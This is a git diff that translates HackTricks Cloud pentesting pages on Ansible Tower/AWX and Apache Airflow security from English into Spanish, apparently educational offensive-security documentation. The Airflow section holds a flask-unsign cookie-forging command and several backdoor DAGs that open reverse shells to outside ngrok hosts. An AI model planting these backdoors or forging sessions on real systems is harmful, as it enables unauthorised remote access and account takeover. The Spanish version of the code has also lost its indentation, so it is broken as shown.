diff --git a/src/README.md b/src/README.md
index 01b146fd1..09a62fcc1 100644
--- a/src/README.md
+++ b/src/README.md
@@ -6,35 +6,31 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Los logotipos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> Bienvenido a la página donde encontrarás cada **truco/técnica/lo que sea relacionado con CI/CD y Cloud** que he aprendido en **CTFs**, **entornos** de **vida** **real**, **investigando** y **leyendo** investigaciones y noticias.
-### **Pentesting CI/CD Methodology**
+### **Metodología de Pentesting CI/CD**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**En la Metodología de CI/CD de HackTricks encontrarás cómo hacer pentesting a la infraestructura relacionada con actividades de CI/CD.** Lee la siguiente página para una **introducción:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
-### Pentesting Cloud Methodology
+### Metodología de Pentesting Cloud
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**En la Metodología de Cloud de HackTricks encontrarás cómo hacer pentesting a entornos de cloud.** Lee la siguiente página para una **introducción:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
-### License & Disclaimer
+### Licencia y Descargo de Responsabilidad
-**Check them in:**
+**Consúltalos en:**
-[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
+[Valores y FAQ de HackTricks](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
-### Github Stats
+### Estadísticas de Github
-
+
{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..5f1179666 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> Apoya a HackTricks
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..2051794c0 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,63 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Seguridad del controlador de automatización
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** o su versión de código abierto [**AWX**](https://github.com/ansible/awx) también se conoce como **la interfaz de usuario, el panel de control y la API REST de Ansible**. Con **control de acceso basado en roles**, programación de trabajos y gestión gráfica de inventarios, puedes gestionar tu infraestructura de Ansible desde una interfaz moderna. La API REST de Tower y la interfaz de línea de comandos facilitan su integración en herramientas y flujos de trabajo actuales.
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**El Controlador de Automatización es una versión más nueva** de Ansible Tower con más capacidades.
-### Differences
+### Diferencias
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para API personalizadas y flujos de trabajo definidos por el usuario.
-### Tech Stack
+### Stack Tecnológico
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Interfaz Web**: Esta es la interfaz gráfica donde los usuarios pueden gestionar inventarios, credenciales, plantillas y trabajos. Está diseñada para ser intuitiva y proporciona visualizaciones para ayudar a entender el estado y los resultados de tus trabajos de automatización.
+- **API REST**: Todo lo que puedes hacer en la interfaz web, también puedes hacerlo a través de la API REST. Esto significa que puedes integrar AWX/Tower con otros sistemas o script acciones que normalmente realizarías en la interfaz.
+- **Base de Datos**: AWX/Tower utiliza una base de datos (típicamente PostgreSQL) para almacenar su configuración, resultados de trabajos y otros datos operativos necesarios.
+- **RabbitMQ**: Este es el sistema de mensajería utilizado por AWX/Tower para comunicarse entre los diferentes componentes, especialmente entre el servicio web y los ejecutores de tareas.
+- **Redis**: Redis sirve como caché y backend para la cola de tareas.
-### Logical Components
+### Componentes Lógicos
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventarios**: Un inventario es una **colección de hosts (o nodos)** contra los cuales se pueden **ejecutar trabajos** (playbooks de Ansible). AWX/Tower te permite definir y agrupar tus inventarios y también admite inventarios dinámicos que pueden **obtener listas de hosts de otros sistemas** como AWS, Azure, etc.
+- **Proyectos**: Un proyecto es esencialmente una **colección de playbooks de Ansible** obtenidos de un **sistema de control de versiones** (como Git) para extraer los últimos playbooks cuando sea necesario.
+- **Plantillas**: Las plantillas de trabajo definen **cómo se ejecutará un playbook en particular**, especificando el **inventario**, **credenciales** y otros **parámetros** para el trabajo.
+- **Credenciales**: AWX/Tower proporciona una forma segura de **gestionar y almacenar secretos, como claves SSH, contraseñas y tokens de API**. Estas credenciales pueden asociarse con plantillas de trabajo para que los playbooks tengan el acceso necesario cuando se ejecuten.
+- **Motor de Tareas**: Aquí es donde ocurre la magia. El motor de tareas está construido sobre Ansible y es responsable de **ejecutar los playbooks**. Los trabajos se envían al motor de tareas, que luego ejecuta los playbooks de Ansible contra el inventario designado utilizando las credenciales especificadas.
+- **Programadores y Retornos de Llamada**: Estas son características avanzadas en AWX/Tower que permiten **programar trabajos** para que se ejecuten en momentos específicos o se activen por eventos externos.
+- **Notificaciones**: AWX/Tower puede enviar notificaciones basadas en el éxito o fracaso de los trabajos. Soporta varios medios de notificación como correos electrónicos, mensajes de Slack, webhooks, etc.
+- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escritos en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse.
-### Job Execution Flow
+### Flujo de Ejecución de Trabajos
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
-2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
-3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
-4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
-5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
-6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+1. **Interacción del Usuario**: Un usuario puede interactuar con AWX/Tower a través de la **Interfaz Web** o la **API REST**. Estas proporcionan acceso frontal a todas las funcionalidades ofrecidas por AWX/Tower.
+2. **Iniciación del Trabajo**:
+- El usuario, a través de la Interfaz Web o API, inicia un trabajo basado en una **Plantilla de Trabajo**.
+- La Plantilla de Trabajo incluye referencias al **Inventario**, **Proyecto** (que contiene el playbook) y **Credenciales**.
+- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner el trabajo en cola para su ejecución.
+3. **Colocación en Cola del Trabajo**:
+- **RabbitMQ** maneja la mensajería entre el componente web y los ejecutores de tareas. Una vez que se inicia un trabajo, se envía un mensaje al motor de tareas utilizando RabbitMQ.
+- **Redis** actúa como el backend para la cola de tareas, gestionando los trabajos en cola que esperan ejecución.
+4. **Ejecución del Trabajo**:
+- El **Motor de Tareas** recoge el trabajo en cola. Recupera la información necesaria de la **Base de Datos** sobre el playbook asociado al trabajo, inventario y credenciales.
+- Usando el playbook de Ansible recuperado del **Proyecto** asociado, el Motor de Tareas ejecuta el playbook contra los nodos de **Inventario** especificados utilizando las **Credenciales** proporcionadas.
+- A medida que se ejecuta el playbook, su salida de ejecución (registros, hechos, etc.) se captura y almacena en la **Base de Datos**.
+5. **Resultados del Trabajo**:
+- Una vez que el playbook termina de ejecutarse, los resultados (éxito, fracaso, registros) se guardan en la **Base de Datos**.
+- Los usuarios pueden ver los resultados a través de la Interfaz Web o consultarlos a través de la API REST.
+- Según los resultados del trabajo, se pueden enviar **Notificaciones** para informar a los usuarios o sistemas externos sobre el estado del trabajo. Las notificaciones pueden ser correos electrónicos, mensajes de Slack, webhooks, etc.
+6. **Integración con Sistemas Externos**:
+- **Inventarios** pueden ser obtenidos dinámicamente de sistemas externos, permitiendo que AWX/Tower extraiga hosts de fuentes como AWS, Azure, VMware y más.
+- **Proyectos** (playbooks) pueden ser extraídos de sistemas de control de versiones, asegurando el uso de playbooks actualizados durante la ejecución del trabajo.
+- **Programadores y Retornos de Llamada** pueden ser utilizados para integrarse con otros sistemas o herramientas, haciendo que AWX/Tower reaccione a disparadores externos o ejecute trabajos en momentos predeterminados.
-### AWX lab creation for testing
-
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
+### Creación de laboratorio AWX para pruebas
+[**Siguiendo la documentación**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) es posible usar docker-compose para ejecutar AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
-### Supported roles
+### Roles soportados
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+El rol más privilegiado se llama **Administrador del Sistema**. Cualquiera con este rol puede **modificar cualquier cosa**.
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+Desde una revisión de **seguridad de caja blanca**, necesitarías el **rol de Auditor del Sistema**, que permite **ver todos los datos del sistema** pero no puede hacer ningún cambio. Otra opción sería obtener el **rol de Auditor de la Organización**, pero sería mejor obtener el otro.
-Expand this to get detailed description of available roles
+Expande esto para obtener una descripción detallada de los roles disponibles
-1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
-2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
-3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
-4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
-5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
-6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
-7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
-8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
-9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+1. **Administrador del Sistema**:
+- Este es el rol de superusuario con permisos para acceder y modificar cualquier recurso en el sistema.
+- Pueden gestionar todas las organizaciones, equipos, proyectos, inventarios, plantillas de trabajo, etc.
+2. **Auditor del Sistema**:
+- Los usuarios con este rol pueden ver todos los datos del sistema pero no pueden hacer ningún cambio.
+- Este rol está diseñado para cumplimiento y supervisión.
+3. **Roles de Organización**:
+- **Admin**: Control total sobre los recursos de la organización.
+- **Auditor**: Acceso solo de lectura a los recursos de la organización.
+- **Miembro**: Membresía básica en una organización sin permisos específicos.
+- **Ejecutar**: Puede ejecutar plantillas de trabajo dentro de la organización.
+- **Leer**: Puede ver los recursos de la organización.
+4. **Roles de Proyecto**:
+- **Admin**: Puede gestionar y modificar el proyecto.
+- **Usar**: Puede usar el proyecto en una plantilla de trabajo.
+- **Actualizar**: Puede actualizar el proyecto usando SCM (control de versiones).
+5. **Roles de Inventario**:
+- **Admin**: Puede gestionar y modificar el inventario.
+- **Ad Hoc**: Puede ejecutar comandos ad hoc en el inventario.
+- **Actualizar**: Puede actualizar la fuente del inventario.
+- **Usar**: Puede usar el inventario en una plantilla de trabajo.
+- **Leer**: Acceso solo de lectura.
+6. **Roles de Plantilla de Trabajo**:
+- **Admin**: Puede gestionar y modificar la plantilla de trabajo.
+- **Ejecutar**: Puede ejecutar el trabajo.
+- **Leer**: Acceso solo de lectura.
+7. **Roles de Credenciales**:
+- **Admin**: Puede gestionar y modificar las credenciales.
+- **Usar**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes.
+- **Leer**: Acceso solo de lectura.
+8. **Roles de Equipo**:
+- **Miembro**: Parte del equipo pero sin permisos específicos.
+- **Admin**: Puede gestionar a los miembros del equipo y los recursos asociados.
+9. **Roles de Flujo de Trabajo**:
+- **Admin**: Puede gestionar y modificar el flujo de trabajo.
+- **Ejecutar**: Puede ejecutar el flujo de trabajo.
+- **Leer**: Acceso solo de lectura.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..dfe7e7880 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,23 +1,22 @@
-# Apache Airflow Security
+# Seguridad de Apache Airflow
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### Información Básica
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) sirve como una plataforma para **orquestar y programar tuberías de datos o flujos de trabajo**. El término "orquestación" en el contexto de las tuberías de datos significa el proceso de organizar, coordinar y gestionar flujos de trabajo de datos complejos que provienen de diversas fuentes. El propósito principal de estas tuberías de datos orquestadas es proporcionar conjuntos de datos procesados y consumibles. Estos conjuntos de datos son utilizados extensamente por una multitud de aplicaciones, incluyendo, pero no limitado a, herramientas de inteligencia empresarial, modelos de ciencia de datos y aprendizaje automático, todos los cuales son fundamentales para el funcionamiento de aplicaciones de big data.
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+Básicamente, Apache Airflow te permitirá **programar la ejecución de código cuando algo** (evento, cron) **suceda**.
-### Local Lab
+### Laboratorio Local
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS, asegúrate de darle al menos 6GB de RAM a la VM de docker).
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+Una forma fácil de **ejecutar apache airflow** es ejecutarlo **con minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
+### Configuración de Airflow
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow podría almacenar **información sensible** en su configuración o puedes encontrar configuraciones débiles en su lugar:
{{#ref}}
airflow-configuration.md
{{#endref}}
-### Airflow RBAC
+### RBAC de Airflow
-Before start attacking Airflow you should understand **how permissions work**:
+Antes de comenzar a atacar Airflow, deberías entender **cómo funcionan los permisos**:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### Ataques
-#### Web Console Enumeration
+#### Enumeración de la Consola Web
-If you have **access to the web console** you might be able to access some or all of the following information:
+Si tienes **acceso a la consola web**, podrías acceder a parte o toda la siguiente información:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Variables** (Información sensible personalizada podría estar almacenada aquí)
+- **Conexiones** (Información sensible personalizada podría estar almacenada aquí)
+- Acceder a ellas en `http:///connection/list/`
+- [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí)
+- Listar **usuarios y roles**
+- **Código de cada DAG** (que podría contener información interesante)
-#### Retrieve Variables Values
+#### Recuperar Valores de Variables
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Las variables pueden ser almacenadas en Airflow para que los **DAGs** puedan **acceder** a sus valores. Es similar a los secretos de otras plataformas. Si tienes **suficientes permisos**, puedes acceder a ellas en la GUI en `http:///variable/list/`.\
+Airflow por defecto mostrará el valor de la variable en la GUI, sin embargo, de acuerdo a [**esto**](https://marclamberti.com/blog/variables-with-apache-airflow/), es posible establecer una **lista de variables** cuyo **valor** aparecerá como **asteriscos** en la **GUI**.
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+Sin embargo, estos **valores** aún pueden ser **recuperados** a través de **CLI** (necesitas tener acceso a la base de datos), ejecución de **DAG** **arbitrarios**, **API** accediendo al endpoint de variables (la API necesita estar activada), y **¡incluso la propia GUI!**\
+Para acceder a esos valores desde la GUI, simplemente **selecciona las variables** que deseas acceder y **haz clic en Acciones -> Exportar**.\
+Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **filtro de búsqueda** hasta que lo obtengas:
.png>)
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### Escalación de Privilegios
+Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con este válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
+#### DAG Backdoor (RCE en el trabajador de Airflow)
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes simplemente **crear uno** que te enviará un **reverse shell.**\
+Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG Backdoor (RCE en el programador de Airflow)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de colocarlo dentro de la carpeta del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
+#### Creación de DAG
-#### DAG Creation
+Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nuevos **scripts de DAG** en la carpeta `dags/` y serán **replicados en el resto de las máquinas** dentro del clúster DAG.
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### Inyección de Código en DAG
-#### DAG Code Injection
+Cuando ejecutas un DAG desde la GUI puedes **pasar argumentos** a él.\
+Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\
+Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+Todo lo que necesitas saber para **comenzar a buscar inyecciones de comandos en DAGs** es que los **parámetros** son **accedidos** con el código **`dag_run.conf.get("param_name")`**.
+Además, la misma vulnerabilidad podría ocurrir con **variables** (ten en cuenta que con suficientes privilegios podrías **controlar el valor de las variables** en la GUI). Las variables son **accedidas con**:
```python
from airflow.models import Variable
